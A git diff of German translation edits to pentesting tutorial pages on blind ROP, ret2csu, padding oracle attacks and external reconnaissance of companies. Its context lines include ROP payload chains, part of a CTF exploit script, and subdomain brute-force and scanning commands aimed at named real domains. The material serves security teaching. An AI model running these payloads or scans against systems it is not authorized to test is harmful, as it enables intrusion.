Das wären die Gadgets: @@ -56,11 +56,11 @@ Beachte auch, dass das ret2csu-Gadget eine **sehr einzigartige Signatur** hat, d Wenn das **STOP ausgeführt wird**, bedeutet das im Grunde, dass eine **Adresse, die 6 Register** vom Stack poppt, verwendet wurde. Oder dass die verwendete Adresse auch eine STOP-Adresse war. -Um diese letzte Option **zu entfernen**, wird eine neue Kette wie folgt ausgeführt, und sie darf das STOP-Gadget nicht ausführen, um zu bestätigen, dass das vorherige 6 Register gepoppt hat: +Um diese letzte Option **zu entfernen**, wird eine neue Kette wie die folgende ausgeführt, und sie darf das STOP-Gadget nicht ausführen, um zu bestätigen, dass das vorherige 6 Register gepoppt hat: `'A' * offset + canary + rbp + ADDR` -Wenn die Adresse des ret2csu-Gadgets bekannt ist, ist es möglich, die Adresse der Gadgets zu **inferieren, um `rsi` und `rdi` zu steuern**. +Wenn die Adresse des ret2csu-Gadgets bekannt ist, ist es möglich, die **Adresse der Gadgets zu inferieren, um `rsi` und `rdi` zu steuern**. ### 6. Finde PLT @@ -83,7 +83,7 @@ Es ist möglich, den Standort von **`strcmp`** in der PLT basierend auf seinem V * strcmp(\, \) -> Absturz * strcmp(\, \) -> kein Absturz -Es ist möglich, dies zu überprüfen, indem man jeden Eintrag der PLT-Tabelle aufruft oder den **PLT-Slow-Path** verwendet, der im Grunde darin besteht, **einen Eintrag in der PLT-Tabelle + 0xb** (was zu **`dlresolve`** aufruft) aufzurufen, gefolgt im Stack von der **Eintragsnummer, die man testen möchte** (beginnend bei null), um alle PLT-Einträge vom ersten an zu scannen: +Es ist möglich, dies zu überprüfen, indem man jeden Eintrag der PLT-Tabelle aufruft oder den **PLT-Slow-Path** verwendet, der im Grunde darin besteht, **einen Eintrag in der PLT-Tabelle + 0xb** (was zu **`dlresolve`** aufruft) gefolgt im Stack von der **Eintragsnummer, die man testen möchte** (beginnend bei null), um alle PLT-Einträge vom ersten an zu scannen: * strcmp(\, \) -> Absturz * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Wird abstürzen @@ -101,7 +101,7 @@ Denke daran, dass: Nachdem `strcmp` gefunden wurde, ist es möglich, **`rdx`** auf einen Wert größer als 0 zu setzen. {% hint style="success" %} -Beachte, dass `rdx` normalerweise bereits einen Wert größer als 0 haben wird, sodass dieser Schritt möglicherweise nicht notwendig ist. +Beachte, dass `rdx` normalerweise bereits einen Wert größer als 0 enthält, sodass dieser Schritt möglicherweise nicht notwendig ist. {% endhint %} ### 8. Finden von Write oder Äquivalent @@ -114,7 +114,7 @@ Es gibt 3 gängige Funktionen, die dafür ausgenutzt werden könnten: * `dprintf(fd, data)` * `write(fd, data, len(data))` -Das ursprüngliche Papier erwähnt jedoch nur die **`write`**-Funktion, also lass uns darüber sprechen: +Allerdings erwähnt das ursprüngliche Papier nur die **`write`**-Funktion, also lass uns darüber sprechen: Das aktuelle Problem ist, dass wir nicht wissen, **wo sich die Write-Funktion innerhalb der PLT befindet** und wir wissen nicht, **eine fd-Nummer, um die Daten an unseren Socket zu senden**. diff --git a/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 8e09d89b7..75b77274d 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -41,7 +41,7 @@ Dieses Gadget ermöglicht es uns, diese Register zu steuern, indem wir Werte vom 2. Die zweite Sequenz verwendet die Werte, die wir eingerichtet haben, um ein paar Dinge zu tun: * **Bestimmte Werte in andere Register verschieben**, um sie bereit zu machen, dass wir sie als Parameter in Funktionen verwenden können. -* **Einen Aufruf zu einem Ort durchführen**, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert wird. +* **Einen Aufruf zu einem Ort durchführen**, der bestimmt wird, indem die Werte in r15 und rbx zusammenaddiert und dann rbx mit 8 multipliziert werden. ```armasm mov rdx, r15; mov rsi, r14; @@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560 Eine weitere Möglichkeit, **`rdi`** und **`rsi`** vom ret2csu-Gadget zu steuern, besteht darin, auf spezifische Offsets zuzugreifen: -

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Überprüfe diese Seite für weitere Informationen: @@ -99,7 +99,7 @@ Hier kommt **ret2csu** ins Spiel: 1. **Registriere die Register einrichten**: Verwende das erste magische Gadget, um Werte vom Stack in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) und r15 zu poppen. 2. **Verwende das zweite Gadget**: Mit diesen Registern kannst du das zweite Gadget verwenden. Dies ermöglicht es dir, deine gewählten Werte in `rdx` und `rsi` (von r14 und r13) zu verschieben und die Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus kannst du durch die Kontrolle von `r15` und `rbx` das Programm dazu bringen, eine Funktion an der Adresse aufzurufen, die du berechnest und in `[r15 + rbx*8]` platzierst. -Du hast ein [**Beispiel, das diese Technik verwendet und es hier erklärt**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), und dies ist der endgültige Exploit, den es verwendet hat: +Du hast ein [**Beispiel, das diese Technik verwendet und hier erklärt**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), und dies ist der endgültige Exploit, den es verwendet hat: ```python from pwn import * @@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` {% hint style="warning" %} -Beachten Sie, dass der vorherige Exploit nicht dazu gedacht ist, ein **`RCE`** durchzuführen, sondern lediglich eine Funktion namens **`win`** aufzurufen (die Adresse von `win` aus stdin zu holen, indem gets in der ROP-Kette aufgerufen wird und sie in r15 gespeichert wird) mit einem dritten Argument mit dem Wert `0xdeadbeefcafed00d`. +Beachten Sie, dass der vorherige Exploit nicht dazu gedacht ist, ein **`RCE`** durchzuführen, sondern lediglich eine Funktion namens **`win`** aufzurufen (die Adresse von `win` aus stdin zu nehmen, die in der ROP-Kette aufgerufen wird, und sie in r15 zu speichern) mit einem dritten Argument mit dem Wert `0xdeadbeefcafed00d`. {% endhint %} ### Umgehen des Aufrufs und Erreichen von ret -Der folgende Exploit wurde [**von dieser Seite**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) extrahiert, wo **ret2csu** verwendet wird, aber anstelle des Aufrufs **die Vergleiche umgeht und das `ret`** nach dem Aufruf erreicht: +Der folgende Exploit wurde [**von dieser Seite**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) extrahiert, wo **ret2csu** verwendet wird, aber anstelle des Aufrufs wird **die Überprüfung umgangen und `ret`** nach dem Aufruf erreicht: ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ diff --git a/crypto-and-stego/padding-oracle-priv.md b/crypto-and-stego/padding-oracle-priv.md index 7bde530a0..5d2b64bb1 100644 --- a/crypto-and-stego/padding-oracle-priv.md +++ b/crypto-and-stego/padding-oracle-priv.md @@ -1,8 +1,8 @@ # Padding Oracle {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -10,13 +10,11 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -
- {% embed url="https://websec.nl/" %} ## CBC - Cipher Block Chaining @@ -36,7 +34,7 @@ Beachten Sie, dass es notwendig ist, einen **Verschlüsselungs** **schlüssel** Da die Verschlüsselung in **festen** **Größen** **Blöcken** durchgeführt wird, ist **Padding** normalerweise im **letzten** **Block** erforderlich, um seine Länge zu vervollständigen.\ Normalerweise wird **PKCS7** verwendet, das ein Padding erzeugt, das die **Anzahl** der **benötigten** **Bytes** **wiederholt**, um den Block zu vervollständigen. Wenn der letzte Block beispielsweise 3 Bytes fehlt, wird das Padding `\x03\x03\x03` sein. -Schauen wir uns weitere Beispiele mit **2 Blöcken von 8 Bytes Länge** an: +Sehen wir uns weitere Beispiele mit **2 Blöcken von 8 Bytes Länge** an: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -105,7 +103,7 @@ Dann die gleichen Schritte wiederholen, um C14 zu entschlüsseln: **`C14 = E6 ^ ### Erkennung der Schwachstelle Registrieren Sie sich und melden Sie sich mit diesem Konto an.\ -Wenn Sie sich **mehrmals anmelden** und immer dasselbe **Cookie** erhalten, ist wahrscheinlich **etwas** **falsch** in der Anwendung. Das **zurückgesendete Cookie sollte jedes Mal einzigartig sein**, wenn Sie sich anmelden. Wenn das Cookie **immer** dasselbe ist, wird es wahrscheinlich immer gültig sein und es **wird keinen Weg geben, es zu invalidieren**. +Wenn Sie **mehrmals einloggen** und immer dasselbe **Cookie** erhalten, ist wahrscheinlich **etwas** **falsch** in der Anwendung. Das **zurückgesendete Cookie sollte jedes Mal einzigartig sein**, wenn Sie sich anmelden. Wenn das Cookie **immer** dasselbe ist, wird es wahrscheinlich immer gültig sein und es **wird keinen Weg geben, es ungültig zu machen**. Wenn Sie jetzt versuchen, das **Cookie zu modifizieren**, sehen Sie, dass Sie einen **Fehler** von der Anwendung erhalten.\ Aber wenn Sie das Padding brute-forcen (zum Beispiel mit Padbuster), schaffen Sie es, ein anderes Cookie zu erhalten, das für einen anderen Benutzer gültig ist. Dieses Szenario ist höchstwahrscheinlich anfällig für Padbuster. @@ -114,13 +112,11 @@ Aber wenn Sie das Padding brute-forcen (zum Beispiel mit Padbuster), schaffen Si * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) -
- {% embed url="https://websec.nl/" %} {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 4243d1013..37b1cfc92 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -15,7 +15,7 @@ Lerne & übe GCP Hacking: {% endhint %} -
+
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). @@ -23,11 +23,11 @@ Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacke ## Vermögensentdeckungen -> Man hat dir gesagt, dass alles, was zu einem Unternehmen gehört, im Umfang liegt, und du möchtest herausfinden, was dieses Unternehmen tatsächlich besitzt. +> Man hat dir gesagt, dass alles, was zu einem Unternehmen gehört, im Geltungsbereich liegt, und du möchtest herausfinden, was dieses Unternehmen tatsächlich besitzt. Das Ziel dieser Phase ist es, alle **Unternehmen, die im Besitz des Hauptunternehmens sind**, und dann alle **Vermögenswerte** dieser Unternehmen zu ermitteln. Dazu werden wir: -1. Die Übernahmen des Hauptunternehmens finden, dies wird uns die Unternehmen im Umfang geben. +1. Die Übernahmen des Hauptunternehmens finden, dies wird uns die Unternehmen im Geltungsbereich geben. 2. Die ASN (falls vorhanden) jedes Unternehmens finden, dies wird uns die IP-Bereiche geben, die jedem Unternehmen gehören. 3. Reverse-Whois-Abfragen verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) zu suchen, die mit dem ersten verbunden sind (dies kann rekursiv erfolgen). 4. Andere Techniken wie Shodan `org` und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden). @@ -38,14 +38,14 @@ Zunächst müssen wir wissen, welche **anderen Unternehmen im Besitz des Hauptun Eine Möglichkeit ist, [https://www.crunchbase.com/](https://www.crunchbase.com) zu besuchen, **nach dem Hauptunternehmen zu suchen** und auf "**Übernahmen**" zu klicken. Dort siehst du andere Unternehmen, die von dem Hauptunternehmen übernommen wurden.\ Eine andere Möglichkeit ist, die **Wikipedia**-Seite des Hauptunternehmens zu besuchen und nach **Übernahmen** zu suchen. -> Ok, an diesem Punkt solltest du alle Unternehmen im Umfang kennen. Lass uns herausfinden, wie wir ihre Vermögenswerte finden können. +> Ok, an diesem Punkt solltest du alle Unternehmen im Geltungsbereich kennen. Lass uns herausfinden, wie wir ihre Vermögenswerte finden können. ### **ASNs** Eine autonome Systemnummer (**ASN**) ist eine **eindeutige Nummer**, die einem **autonomen System** (AS) von der **Internet Assigned Numbers Authority (IANA)** zugewiesen wird.\ Ein **AS** besteht aus **Blöcken** von **IP-Adressen**, die eine eindeutig definierte Richtlinie für den Zugriff auf externe Netzwerke haben und von einer einzigen Organisation verwaltet werden, aber aus mehreren Betreibern bestehen können. -Es ist interessant herauszufinden, ob das **Unternehmen eine ASN zugewiesen hat**, um seine **IP-Bereiche** zu finden. Es wäre interessant, einen **Sicherheitstest** gegen alle **Hosts** im **Umfang** durchzuführen und **nach Domains** innerhalb dieser IPs zu suchen.\ +Es ist interessant herauszufinden, ob das **Unternehmen eine ASN zugewiesen hat**, um seine **IP-Bereiche** zu finden. Es wäre interessant, einen **Sicherheitstest** gegen alle **Hosts** im **Geltungsbereich** durchzuführen und **nach Domains** innerhalb dieser IPs zu suchen.\ Du kannst **nach dem Unternehmensnamen**, nach **IP** oder nach **Domain** in [**https://bgp.he.net/**](https://bgp.he.net)** suchen.**\ **Je nach Region des Unternehmens könnten diese Links nützlich sein, um weitere Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Jedenfalls erscheinen wahrscheinlich alle** nützlichen Informationen **(IP-Bereiche und Whois)** bereits im ersten Link. ```bash @@ -53,7 +53,7 @@ Du kannst **nach dem Unternehmensnamen**, nach **IP** oder nach **Domain** in [* amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -Auch die Subdomainenumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot)** aggregiert und fasst ASNs am Ende des Scans automatisch zusammen. +Auch die Subdomainenumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot)** aggregiert und fasst ASNs am Ende des Scans automatisch zusammen.** ```bash bbot -t tesla.com -f subdomain-enum ... @@ -75,21 +75,21 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4 ### **Auf der Suche nach Schwachstellen** -An diesem Punkt kennen wir **alle Vermögenswerte im Geltungsbereich**, also, wenn es Ihnen erlaubt ist, könnten Sie einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\ +An diesem Punkt kennen wir **alle Vermögenswerte innerhalb des Umfangs**, also wenn Sie dürfen, könnten Sie einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\ Außerdem könnten Sie einige [**Portscans**](../pentesting-network/#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man mehrere mögliche Dienste testet.\ **Es könnte auch erwähnenswert sein, dass Sie auch einige** Standardbenutzernamen **und** Passwortlisten **vorbereiten und versuchen können,** Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu bruteforcen. ## Domains -> Wir kennen alle Unternehmen im Geltungsbereich und deren Vermögenswerte, es ist Zeit, die Domains im Geltungsbereich zu finden. +> Wir kennen alle Unternehmen innerhalb des Umfangs und deren Vermögenswerte, es ist Zeit, die Domains innerhalb des Umfangs zu finden. _Bitte beachten Sie, dass Sie mit den folgenden vorgeschlagenen Techniken auch Subdomains finden können und diese Informationen nicht unterschätzt werden sollten._ -Zunächst sollten Sie nach der **Hauptdomain**(en) jedes Unternehmens suchen. Zum Beispiel ist für _Tesla Inc._ die Hauptdomain _tesla.com_. +Zunächst sollten Sie nach der **Hauptdomain**(s) jedes Unternehmens suchen. Zum Beispiel wird für _Tesla Inc._ die Domain _tesla.com_ sein. ### **Reverse DNS** -Da Sie alle IP-Bereiche der Domains gefunden haben, könnten Sie versuchen, **Reverse-DNS-Abfragen** auf diesen **IPs durchzuführen, um weitere Domains im Geltungsbereich zu finden**. Versuchen Sie, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden. +Da Sie alle IP-Bereiche der Domains gefunden haben, könnten Sie versuchen, **Reverse-DNS-Abfragen** auf diesen **IPs durchzuführen, um weitere Domains innerhalb des Umfangs zu finden**. Versuchen Sie, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden. ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -141,7 +141,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s Einfach gesagt, favihash ermöglicht es uns, Domains zu entdecken, die denselben Favicon-Icon-Hash wie unser Ziel haben. -Darüber hinaus kannst du auch Technologien mithilfe des Favicon-Hashes suchen, wie in [**diesem Blogbeitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass du, wenn du den **Hash des Favicon einer verwundbaren Version einer Web-Technologie** kennst, in Shodan suchen und **weitere verwundbare Stellen finden** kannst: +Darüber hinaus kannst du auch Technologien mithilfe des Favicon-Hashes suchen, wie in [**diesem Blogbeitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass du, wenn du den **Hash des Favicon einer verwundbaren Version einer Web-Technologie** kennst, in Shodan suchen und **weitere verwundbare Orte finden** kannst: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -169,58 +169,58 @@ Es ist üblich, einen Cron-Job zu haben, wie # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -um alle Domainzertifikate auf dem Server zu erneuern. Das bedeutet, dass selbst wenn die CA, die dafür verwendet wird, die Zeit, zu der es generiert wurde, nicht in der Gültigkeitszeit festlegt, es möglich ist, **Domains zu finden, die zur gleichen Firma in den Zertifikatstransparenzprotokollen gehören**.\ -Schau dir diesen [**Artikel für weitere Informationen**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/) an. +to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ +Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). -### Mail DMARC Informationen +### Mail DMARC information -Du kannst eine Webseite wie [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) oder ein Tool wie [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) verwenden, um **Domains und Subdomains zu finden, die die gleichen DMARC-Informationen teilen**. +You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**. -### **Passive Übernahme** +### **Passive Takeover** -Es ist anscheinend üblich, dass Leute Subdomains IPs zuweisen, die zu Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher wirst du einfach durch **das Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernehmen**. +Offensichtlich ist es üblich, dass Menschen Subdomains IPs zuweisen, die zu Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher wird man durch **das Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernehmen**. -[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean erstellt**, **die IPv4** der neuen Maschine **erhält** und **in Virustotal nach Subdomain-Einträgen** sucht, die darauf verweisen. +[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean erstellt**, **die** **IPv4** der neuen Maschine **erhält** und **in Virustotal nach Subdomain-Einträgen** sucht, die darauf verweisen. -### **Andere Möglichkeiten** +### **Other ways** -**Beachte, dass du diese Technik verwenden kannst, um jedes Mal mehr Domainnamen zu entdecken, wenn du eine neue Domain findest.** +**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal mehr Domainnamen zu entdecken, wenn Sie eine neue Domain finden.** **Shodan** -Wie du bereits weißt, ist der Name der Organisation, die den IP-Bereich besitzt. Du kannst nach diesen Daten in Shodan suchen, indem du: `org:"Tesla, Inc."` verwendest. Überprüfe die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat. +Wie Sie bereits wissen, ist der Name der Organisation, die den IP-Bereich besitzt. Sie können mit diesen Daten in Shodan suchen: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat. -Du könntest das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der Organisation** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) verwenden. +Sie könnten das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der Organisation** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller von **shodan** bekannten Webseiten mit dem Filter suchen: `ssl:"Tesla Motors"` oder ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) verwenden. **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **Domains sucht, die mit einer Hauptdomain und deren Subdomains** verbunden sind, ziemlich erstaunlich. +[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **Domains sucht, die mit einer Hauptdomain verbunden sind**, und deren **Subdomains**, ziemlich erstaunlich. -### **Nach Schwachstellen suchen** +### **Looking for vulnerabilities** -Überprüfe einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, hat aber **das Eigentum verloren**. Registriere sie einfach (wenn sie günstig genug ist) und informiere das Unternehmen. +Überprüfen Sie einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, aber sie **haben das Eigentum verloren**. Registrieren Sie sie einfach (wenn sie günstig genug ist) und informieren Sie das Unternehmen. -Wenn du eine **Domain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen findest, solltest du einen **grundlegenden Schwachscann** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste laufen, kannst du in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\ -_Beachte, dass die Domain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, also ist sie nicht im Scope, sei vorsichtig._ +Wenn Sie eine **Domain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen finden, sollten Sie einen **grundlegenden Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\ +_Beachten Sie, dass die Domain manchmal innerhalb einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Geltungsbereich liegt. Seien Sie vorsichtig._ \ -**Bug-Bounty-Tipp**: **Melde dich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Schließe dich uns heute an unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginne, Prämien von bis zu **100.000 $** zu verdienen! +**Bug bounty tip**: **melden Sie sich an** für **Intigriti**, eine Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginnen Sie, Prämien von bis zu **$100,000** zu verdienen! {% embed url="https://go.intigriti.com/hacktricks" %} ## Subdomains -> Wir kennen alle Unternehmen im Scope, alle Assets jedes Unternehmens und alle Domains, die mit den Unternehmen verbunden sind. +> Wir kennen alle Unternehmen im Geltungsbereich, alle Vermögenswerte jedes Unternehmens und alle Domains, die mit den Unternehmen verbunden sind. Es ist Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden. {% hint style="success" %} -Beachte, dass einige der Tools und Techniken zur Auffindung von Domains auch helfen können, Subdomains zu finden! +Beachten Sie, dass einige der Tools und Techniken zur Auffindung von Domains auch helfen können, Subdomains zu finden! {% endhint %} ### **DNS** -Lass uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zonenübertragungen** suchen (wenn verwundbar, solltest du dies melden). +Lassen Sie uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (wenn anfällig, sollten Sie es melden). ```bash dnsrecon -a -d tesla.com ``` @@ -366,11 +366,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` -* [**gobuster**](https://github.com/OJ/gobuster): Ich denke, dieser verwendet nur 1 Resolver +* [**gobuster**](https://github.com/OJ/gobuster): Ich denke, dass dieser nur 1 Resolver verwendet. ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ist ein Wrapper um `massdns`, geschrieben in Go, der es Ihnen ermöglicht, gültige Subdomains mithilfe von aktivem Bruteforce zu enumerieren sowie Subdomains mit Wildcard-Verarbeitung und einfacher Eingabe-Ausgabe-Unterstützung aufzulösen. +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ist ein Wrapper um `massdns`, geschrieben in Go, der es Ihnen ermöglicht, gültige Subdomains durch aktives Bruteforcing zu enumerieren sowie Subdomains mit Wildcard-Verarbeitung und einfacher Eingabe-Ausgabe-Unterstützung aufzulösen. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -395,11 +395,11 @@ cat subdomains.txt | dnsgen - ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` -* [**gotator**](https://github.com/Josue87/gotator)**:** Gegebenenfalls die Domains und Subdomains Permutationen generieren. Wenn keine Permutationsdatei angegeben ist, verwendet gotator seine eigene. +* [**gotator**](https://github.com/Josue87/gotator)**:** Gegebene Domains und Subdomains generieren Permutationen. Wenn keine Permutationsdatei angegeben ist, verwendet gotator seine eigene. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` -* [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, diese aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden). +* [**altdns**](https://github.com/infosec-au/altdns): Abgesehen von der Generierung von Subdomain-Permutationen kann es auch versuchen, diese aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden). * Sie können die altdns-Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten. ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 @@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven, von DNS-Antworten geleiteten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine 